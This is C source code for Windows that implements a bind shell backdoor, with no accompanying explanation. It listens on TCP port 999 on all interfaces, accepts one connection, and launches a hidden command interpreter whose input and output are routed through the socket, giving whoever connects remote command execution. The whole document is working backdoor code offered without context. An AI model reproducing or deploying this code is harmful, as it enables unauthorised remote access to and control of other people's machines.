#include<winsock2.h>

#pragma comment(lib,"WS2\_32.lib")

#include <tchar.h>

int main(void) {

WSADATA wsaData;

sockaddr\_in sockaddr;

PROCESS\_INFORMATION ProcessInfo;

STARTUPINFO StartupInfo;

ZeroMemory(&ProcessInfo,

sizeof(PROCESS\_INFORMATION));

ZeroMemory(&StartupInfo,

sizeof(STARTUPINFO));

ZeroMemory(&wsaData,

sizeof(WSADATA));

WSAStartup(MAKEWORD(2, 2), &wsaData);

TCHAR szCMDPath[255];

GetEnvironmentVariable(

TEXT("COMSPEC"),

szCMDPath,

sizeof(szCMDPath));

sockaddr.sin\_family = AF\_INET;

sockaddr.sin\_port = htons(999);

sockaddr.sin\_addr.S\_un.S\_addr = INADDR\_ANY;

SOCKET CSocket = WSASocket(

AF\_INET,

SOCK\_STREAM,

IPPROTO\_TCP,

NULL,

0,

0);

bind(CSocket,

(SOCKADDR\*)&sockaddr,

sizeof(sockaddr));

listen(CSocket, 1);

int iAddrSize = sizeof(sockaddr);

SOCKET SSocket = WSAAccept(

CSocket,

(SOCKADDR\*)&sockaddr,

&iAddrSize,

NULL,

NULL);

StartupInfo.cb = sizeof(STARTUPINFO);

StartupInfo.wShowWindow = SW\_HIDE;

StartupInfo.dwFlags =

STARTF\_USESTDHANDLES |

STARTF\_USESHOWWINDOW;

StartupInfo.hStdInput = (HANDLE)SSocket;

StartupInfo.hStdOutput = (HANDLE)SSocket;

StartupInfo.hStdError = (HANDLE)SSocket;

CreateProcess(NULL,

szCMDPath,

NULL,

NULL,

TRUE,

0,

NULL,

NULL,

&StartupInfo,

&ProcessInfo);

closesocket(CSocket);

closesocket(SSocket);

WSACleanup();

return 0;

}